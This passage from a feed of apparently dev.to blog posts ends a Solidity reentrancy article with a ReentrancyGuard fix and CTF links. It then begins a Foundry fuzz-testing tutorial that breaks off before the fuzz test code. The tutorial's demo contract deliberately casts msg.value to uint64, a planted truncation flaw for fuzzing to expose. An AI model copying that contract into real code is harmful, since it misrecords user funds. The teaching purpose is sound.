&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="k"&gt;import&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;@openzeppelin/contracts/utils/ReentrancyGuard.sol&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Then, we need to inherit our contract by doing&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="nx"&gt;contract&lt;/span&gt; &lt;span class="nx"&gt;ReentrancyPoolFixed&lt;/span&gt; &lt;span class="k"&gt;is&lt;/span&gt; &lt;span class="nx"&gt;ReentrancyGuard&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
   &lt;span class="c1"&gt;// ...&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Finally, we can use the provided modifier called &lt;code&gt;nonReentrant&lt;/code&gt; in our &lt;code&gt;withdraw()&lt;/code&gt; function. We can see the full implementation bellow:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="k"&gt;import&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;@openzeppelin/contracts/utils/ReentrancyGuard.sol&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="nx"&gt;contract&lt;/span&gt; &lt;span class="nx"&gt;ReentrancyPoolFixed&lt;/span&gt; &lt;span class="k"&gt;is&lt;/span&gt; &lt;span class="nx"&gt;ReentrancyGuard&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nf"&gt;mapping&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;address&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="nx"&gt;uint256&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;public&lt;/span&gt; &lt;span class="nx"&gt;userBalance&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

    &lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;deposit&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="k"&gt;public&lt;/span&gt; &lt;span class="nx"&gt;payable&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="nx"&gt;userBalance&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;msg&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;sender&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;+=&lt;/span&gt; &lt;span class="nx"&gt;msg&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;value&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;

    &lt;span class="c1"&gt;// Add the `nonReentrant` modifier&lt;/span&gt;
    &lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;withdraw&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;uint256&lt;/span&gt; &lt;span class="nx"&gt;amount&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;public&lt;/span&gt; &lt;span class="nx"&gt;nonReentrant&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="nf"&gt;require&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;userBalance&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;msg&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;sender&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;=&lt;/span&gt; &lt;span class="nx"&gt;amount&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;Insufficient balance&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;  &lt;span class="c1"&gt;// Check if user has enough balance&lt;/span&gt;
        &lt;span class="nx"&gt;userBalance&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;msg&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;sender&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;-=&lt;/span&gt; &lt;span class="nx"&gt;amount&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;  &lt;span class="c1"&gt;// Update user's balance&lt;/span&gt;
        &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;bool&lt;/span&gt; &lt;span class="nx"&gt;success&lt;/span&gt;&lt;span class="p"&gt;,)&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;msg&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;sender&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;call&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="nl"&gt;value&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;amount&lt;/span&gt;&lt;span class="p"&gt;}(&lt;/span&gt;&lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nf"&gt;bytes&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;  &lt;span class="c1"&gt;// Send requested Ether to the user&lt;/span&gt;
        &lt;span class="nf"&gt;require&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;success&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;Transfer failed&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt; 
    &lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;blockquote&gt;
&lt;p&gt;Note: Even if we are using the &lt;code&gt;ReentrancyGuard&lt;/code&gt; it does not mean that we need to skip good practice! This is the reason why we are keeping the &lt;em&gt;Checks-Effects-Interactions&lt;/em&gt; pattern.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h3&gt;
  
  
  How does the &lt;code&gt;ReentrancyGuard&lt;/code&gt; works?
&lt;/h3&gt;

&lt;p&gt;Great, it seems now we are protected from reentrancy, but let’s try to understand how &lt;code&gt;ReentrancyGuard&lt;/code&gt; works behind the wheel. If we take a look at the source code, the &lt;code&gt;nonReentrant&lt;/code&gt; modifier works by setting a flag before and after the execution of our function.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="nx"&gt;modifier&lt;/span&gt; &lt;span class="nf"&gt;nonReentrant&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nf"&gt;_nonReentrantBefore&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
    &lt;span class="nx"&gt;_&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="nf"&gt;_nonReentrantAfter&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The state variable modified is called &lt;code&gt;_status&lt;/code&gt; which defined the state of the contract.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="nx"&gt;uint256&lt;/span&gt; &lt;span class="k"&gt;private&lt;/span&gt; &lt;span class="nx"&gt;constant&lt;/span&gt; &lt;span class="nx"&gt;NOT_ENTERED&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="nx"&gt;uint256&lt;/span&gt; &lt;span class="k"&gt;private&lt;/span&gt; &lt;span class="nx"&gt;constant&lt;/span&gt; &lt;span class="nx"&gt;ENTERED&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;By using a simple flag, we can track whether a function is already in execution, allowing us to ensure that someone is not calling, again, this function.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;Optimization note: In case the deployed blockchain is using the EIP-1153 you can use the &lt;a href="https://docs.openzeppelin.com/contracts/5.x/api/utils#ReentrancyGuardTransient" rel="noopener noreferrer"&gt;&lt;code&gt;ReentrancyGuardTransient&lt;/code&gt; contract&lt;/a&gt; instead. A quick word on this, Transient Storage is non permanent data, that will be used only during a transaction. So instead of storing the &lt;code&gt;_status&lt;/code&gt; flag in memory, we can store it in the transaction state, allowing us to keep preserving reentrancy protection while using cheaper gas.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h3&gt;
  
  
  Apply What You’ve Learned: Reentrancy CTFs
&lt;/h3&gt;

&lt;p&gt;We are not in a classroom, feel free to jump directly to the conclusion. But, if you want to progress and be sure to understand how reentrancy works, I would strongly recommend you to do some challenges or Capture The Flag (CTF), to see if you understand completely how reentrancy works.&lt;/p&gt;

&lt;p&gt;Before diving it, be sure to understand and familiar with the code of this article. If you need more examples, feel free to ask questions or to see other examples.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://solidity-by-example.org/hacks/re-entrancy/" rel="noopener noreferrer"&gt;https://solidity-by-example.org/hacks/re-entrancy/&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;If you want some exercice, I can recommend you:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;a href="https://www.damnvulnerabledefi.xyz/challenges/side-entrance/" rel="noopener noreferrer"&gt;Side Entrance&lt;/a&gt; — Damn Vulnerable DeFi&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://ethernaut.openzeppelin.com/level/10" rel="noopener noreferrer"&gt;Re-entrancy&lt;/a&gt; — Challenge 10- Ethernaut from OpenZeppelin&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;If you want a more challenging exercise and you are not afraid of learning by doing, I would recommend you this challenge:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href="https://nodeguardians.io/quests/cream-rekt" rel="noopener noreferrer"&gt;https://nodeguardians.io/quests/cream-rekt&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;It will be a tough one, but you will learn a lot through this. Maybe I will write some articles on other principle covering other aspects that could guide you through this challenge!&lt;/p&gt;

&lt;h2&gt;
  
  
  Conclusion
&lt;/h2&gt;

&lt;p&gt;Alright, seems we cover a lot in this article. We have seen what is a reentrancy attack, what impacts it can have on a protocol and how you can protect your smart contract from exploits. Hope you learn a lot!&lt;/p&gt;

&lt;p&gt;To continue your learning journey, I am writing a series of articles related to blockchain, you can &lt;a href="https://regis.kit.com/subscribe" rel="noopener noreferrer"&gt;subscribe&lt;/a&gt; to it if you are looking to improve your skills.&lt;/p&gt;

&lt;p&gt;Before leaving, I need your feedback on this, was this walkthrough practical? Was it helpful for you? Or simply boring? A simple emoji as 👍 or 👎 can make the difference for me and help me to improve it!&lt;/p&gt;

&lt;p&gt;Finally, if you want to discuss about your blockchain project, or smart contract development, feel free to reach out or &lt;a href="https://www.linkedin.com/in/regis-graptin/" rel="noopener noreferrer"&gt;connect on Linkedin&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;Keep building!&lt;/p&gt;

</description>
      <category>solidity</category>
      <category>vulnerabilities</category>
      <category>blockchain</category>
      <category>web3</category>
    </item>
    <item>
      <title>Fuzz Testing &amp; Invariants in Solidity: Secure Smart Contracts with Foundry</title>
      <dc:creator>Régis</dc:creator>
      <pubDate>Wed, 11 Jun 2025 12:00:22 +0000</pubDate>
      <link>https://dev.to/regisgraptin/fuzz-testing-invariants-in-solidity-secure-smart-contracts-with-foundry-34ab</link>
      <guid>https://dev.to/regisgraptin/fuzz-testing-invariants-in-solidity-secure-smart-contracts-with-foundry-34ab</guid>
      <description>&lt;h2&gt;
  
  
  Discover How to Catch Critical Bugs in Your Smart Contracts Using Automated Testing in Foundry
&lt;/h2&gt;

&lt;p&gt;Smart contracts are the backbone of decentralized applications and, once deployed, they are publicly accessible. A single vulnerability can put an entire protocol at risk, potentially causing &lt;strong&gt;multi-million dollar losses&lt;/strong&gt;. This is not theoretical, it has happened repeatedly in DeFi. One key reason is the &lt;strong&gt;open execution model&lt;/strong&gt; of blockchain: anyone can call any function, with any parameter. That drastically increases the input space and the chance of bugs being triggered by &lt;strong&gt;unexpected or malicious inputs&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;To build resilient smart contracts, we need to go beyond standard unit testing, and that's where &lt;strong&gt;fuzz testing&lt;/strong&gt; comes in. In this article, you'll learn how to use fuzz testing and invariant checking in Solidity using Foundry, a powerful testing framework for smart contracts. These techniques will help you to catch bugs before they reach Mainnet.&lt;/p&gt;

&lt;h3&gt;
  
  
  A Brief History of Fuzz Testing
&lt;/h3&gt;

&lt;p&gt;In 1990, Barton P. Miller and his colleagues encountered a peculiar issue: spurious characters from a noisy dial-up connection were causing standard Unix utilities to crash. These were common tools, widely used, supposedly reliable. Yet, simple malformed inputs revealed deep instability.&lt;/p&gt;

&lt;p&gt;Intrigued, they launched a systematic experiment: feeding random data into common Unix programs to observe how they behaved. The result was alarming: around 30% of utility programs was crashing or producing instable behavior.&lt;/p&gt;

&lt;p&gt;This led to their seminal paper, "&lt;em&gt;An Empirical Study of the Reliability of UNIX Utilities&lt;/em&gt;", co-authored by Miller, Lars Fredriksen, and Bryan So. It exposed a fundamental truth: even mature, widely-used software can fail under unexpected inputs. This led to the formalization of &lt;strong&gt;fuzz testing&lt;/strong&gt;, a technique that &lt;strong&gt;generates random or semi-random inputs to uncover crashes, logic errors, or unexpected behavior in code&lt;/strong&gt;.&lt;/p&gt;

&lt;h3&gt;
  
  
  From UNIX to Ethereum
&lt;/h3&gt;

&lt;p&gt;Fast forward to today, and the &lt;strong&gt;same problem&lt;/strong&gt; applies to smart contracts. Any failure can have irreversible consequences. We expect them to be stable and reliable under all input combinations.&lt;br&gt;
This is especially the case as smart contracts operate under an &lt;strong&gt;open execution model&lt;/strong&gt;: anyone can call any function with arbitrary inputs at any time. This drastically increases the input space, making it difficult to anticipate and test every possible scenario manually.&lt;/p&gt;

&lt;p&gt;To ensure reliability across all possible inputs, we need to move beyond static and unit tests. We want to make sure, that under any input combinations we do not reach any edge cases, overflow/underflow, malicious crafted inputs… This applies for the life of the protocol. And this is where fuzz testing comes in to simulate and test those kind of behavior and &lt;strong&gt;validate the core assumptions of the protocol&lt;/strong&gt;.&lt;/p&gt;
&lt;h2&gt;
  
  
  What Is Fuzz Testing? A Powerful Technique for Securing Smart Contracts
&lt;/h2&gt;

&lt;blockquote&gt;
&lt;p&gt;Randomness is all that you need&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;&lt;strong&gt;Fuzz testing&lt;/strong&gt; is a software testing technique that feeds random, unexpected, or invalid inputs into a program to uncover crashes, bugs, or security vulnerabilities. Rather than testing specific cases, it explores the vast input space automatically, exposing edge cases developers might overlook.&lt;br&gt;
It is often coupled with the notion of &lt;strong&gt;invariants&lt;/strong&gt; which represent properties that must always be valid. In smart contracts, an invariant might be something like: "&lt;em&gt;the sum of all user balances must equal the contract's total balance.&lt;/em&gt;" If a sequence of inputs causes that invariant to break, it signals a potentially critical bug.&lt;/p&gt;

&lt;p&gt;To illustrate it, suppose we define an invariant in our protocol as &lt;code&gt;a &amp;gt; b&lt;/code&gt;. If during fuzzing tests we found a combination of inputs that cause &lt;code&gt;a = b&lt;/code&gt;, we have found an unexpected behavior that violates our protocol assumption. This can highlight a logic flaw or unchecked edge case.&lt;/p&gt;
&lt;h3&gt;
  
  
  Fuzzing in Foundry: How to Use Fuzz Testing in Solidity
&lt;/h3&gt;

&lt;p&gt;Let's see how we can create fuzzing tests using Foundry. For the demo, I have created a simple smart contract. Observant readers will notice that instead of using traditional &lt;code&gt;uint256&lt;/code&gt; we are using &lt;code&gt;uint64&lt;/code&gt;. This smaller type will help us to illustrate how with fuzzing tests we can expose this kind of edge cases more easily.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="c1"&gt;// SPDX-License-Identifier: MIT&lt;/span&gt;
&lt;span class="nx"&gt;pragma&lt;/span&gt; &lt;span class="nx"&gt;solidity&lt;/span&gt; &lt;span class="o"&gt;^&lt;/span&gt;&lt;span class="mf"&gt;0.8&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="mi"&gt;13&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="nx"&gt;contract&lt;/span&gt; &lt;span class="nx"&gt;App&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;

    &lt;span class="nf"&gt;mapping&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;address&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="nx"&gt;uint64&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;public&lt;/span&gt; &lt;span class="nx"&gt;balances&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

    &lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;deposit&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="nx"&gt;external&lt;/span&gt; &lt;span class="nx"&gt;payable&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="nx"&gt;balances&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;msg&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;sender&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;+=&lt;/span&gt; &lt;span class="nf"&gt;uint64&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;msg&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;value&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;

    &lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;withdraw&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;uint64&lt;/span&gt; &lt;span class="nx"&gt;amount&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="nx"&gt;external&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="nf"&gt;require&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;balances&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;msg&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;sender&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;=&lt;/span&gt; &lt;span class="nx"&gt;amount&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;Insufficient balance&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
        &lt;span class="nx"&gt;balances&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;msg&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;sender&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;-=&lt;/span&gt; &lt;span class="nx"&gt;amount&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
        &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;bool&lt;/span&gt; &lt;span class="nx"&gt;success&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;msg&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;sender&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;call&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="nl"&gt;value&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;amount&lt;/span&gt;&lt;span class="p"&gt;}(&lt;/span&gt;&lt;span class="dl"&gt;""&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
        &lt;span class="nf"&gt;require&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;success&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;Failed to withdraw&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Now, let's create a traditional unit test for this smart contract.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="c1"&gt;// SPDX-License-Identifier: MIT&lt;/span&gt;
&lt;span class="nx"&gt;pragma&lt;/span&gt; &lt;span class="nx"&gt;solidity&lt;/span&gt; &lt;span class="o"&gt;^&lt;/span&gt;&lt;span class="mf"&gt;0.8&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="mi"&gt;13&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="k"&gt;import&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="nx"&gt;Test&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;console&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;from&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;forge-std/Test.sol&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="k"&gt;import&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="nx"&gt;App&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;from&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;../src/App.sol&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="nx"&gt;contract&lt;/span&gt; &lt;span class="nx"&gt;AppTest&lt;/span&gt; &lt;span class="k"&gt;is&lt;/span&gt; &lt;span class="nx"&gt;Test&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nx"&gt;App&lt;/span&gt; &lt;span class="k"&gt;public&lt;/span&gt; &lt;span class="nx"&gt;app&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="nx"&gt;address&lt;/span&gt; &lt;span class="nx"&gt;user&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

    &lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;setUp&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="k"&gt;public&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="nx"&gt;app&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;App&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
        &lt;span class="nx"&gt;user&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;address&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;

    &lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;test_DepositAndWithdraw&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="k"&gt;public&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="nx"&gt;uint256&lt;/span&gt; &lt;span class="nx"&gt;userBalance&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;100&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
        &lt;span class="nx"&gt;vm&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;deal&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;user&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;userBalance&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

        &lt;span class="nx"&gt;vm&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;startPrank&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;user&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;  
        &lt;span class="nx"&gt;app&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;deposit&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="na"&gt;value&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;userBalance&lt;/span&gt;&lt;span class="p"&gt;}();&lt;/span&gt;
        &lt;span class="nx"&gt;app&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;withdraw&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;uint64&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;userBalance&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;
        &lt;span class="nx"&gt;vm&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;stopPrank&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;

        &lt;span class="nf"&gt;assertEq&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;app&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;balances&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;user&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
        &lt;span class="nf"&gt;assertEq&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;user&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;balance&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;userBalance&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;What interest us here is the &lt;code&gt;test_DepositAndWithdraw()&lt;/code&gt; function. Currently, it tests only a simple value. You may already see the different approaches with parameterize parameter where you are defining a set of values where you are going to test it one by one. Those approaches work well when you want to test specific behavior or scenario. However, it lacks a range of value that could impact your protocol. Let's now see how you can create your own fuzzing test.&lt;/p&gt;

&lt;h3&gt;
  
  
  How to Write Fuzzing Tests in Foundry for Solidity Smart Contracts
&lt;/h3&gt;

&lt;p&gt;Let's create the same previous test, but this time by adding fuzzing!&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
